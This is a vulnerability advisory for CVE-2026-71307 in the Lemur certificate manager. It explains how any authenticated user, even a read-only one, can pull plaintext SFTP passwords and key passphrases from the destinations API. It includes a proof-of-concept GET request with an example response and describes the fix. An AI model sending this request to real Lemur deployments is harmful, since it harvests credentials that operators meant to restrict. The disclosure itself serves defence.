high · 7.7CVE-2026-71307Aug 18, 2026

CVE-2026-71307: Lemur Authenticated Plaintext Destination Credential Exposure

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any logged-in Lemur user, including read-only accounts, can call the destinations API and get back plaintext SFTP passwords and private-key passphrases that Lemur uses to deploy TLS certificates.

Packagelemur
Ecosystempip
Affected< 1.9.3
Fixed in1.9.3
CVE-2026-71307: Lemur Authenticated Plaintext Destination Credential Exposure

The problem

Lemur's GET /api/1/destinations and GET /api/1/destinations/<id> endpoints are protected only by login_required, inherited from AuthenticatedResource. No role check is applied.

The sibling write handlers (POST, PUT, DELETE) all carry @admin_permission.require(http_exception=403), but the two read handlers do not. DestinationOutputSchema serializes every stored option verbatim, including the password and privateKeyPass fields that the built-in SFTP plugin explicitly stores as cleartext.

Any authenticated principal, including users intentionally restricted to the read-only role, can enumerate all configured destinations and harvest those secrets.

Proof of concept

A working proof-of-concept for CVE-2026-71307 in lemur, with the exact payload below.

http
# Step 1: obtain a JWT for any low-privilege or read-only Lemur account
# Step 2: call either read endpoint

GET /api/1/destinations/4 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer <low-priv-user-token>

# Response (200 OK) -- secrets appear in both top-level options
# and plugin.pluginOptions, exactly as stored:
{
  "id": 4,
  "label": "prod-nginx-sftp",
  "options": [
    {"name": "host",           "type": "str", "value": "10.0.5.20"},
    {"name": "user",           "type": "str", "value": "deploy"},
    {"name": "password",       "type": "str", "value": "S3cr3t-SFTP-Passw0rd!"},
    {"name": "privateKeyPass", "type": "str", "value": "rsa-key-passphrase-xyz"}
  ],
  "plugin": {
    "slug": "sftp-destination",
    "pluginOptions": [
      {"name": "password",       "value": "S3cr3t-SFTP-Passw0rd!"},
      {"name": "privateKeyPass", "value": "rsa-key-passphrase-xyz"}
    ]
  }
}

# GET /api/1/destinations (no id) returns the same fields for every
# configured destination in one call.

The root cause is a missing authorization check (CWE-862). DestinationsList.get() and Destinations.get() inherit only login_required from AuthenticatedResource; neither calls admin_permission.require() or any equivalent role gate.

DestinationOutputSchema serializes the raw options JSONType column with fields.List(fields.Dict()) and then copies it verbatim into plugin.pluginOptions via a @post_dump hook. The SFTP plugin itself documents that its password and privateKeyPass fields are stored as plaintext, so the schema leak is complete.

Patch commit 751c970 adds value redaction inside DestinationOutputSchema for callers who do not hold admin_permission, replacing secret option values with a placeholder before the response is serialized. Admins continue to receive the real values so they can edit them.

The fix

Upgrade to Lemur 1.9.3 or later. The patch redacts sensitive destination option values for any non-admin caller at the schema layer. As an interim workaround, restrict network-level access to the Lemur API to admin users only, or temporarily block GET /api/1/destinations* for non-admin principals at your reverse proxy.

Reporter not attributed.

References: [1][2][3][4]

Related research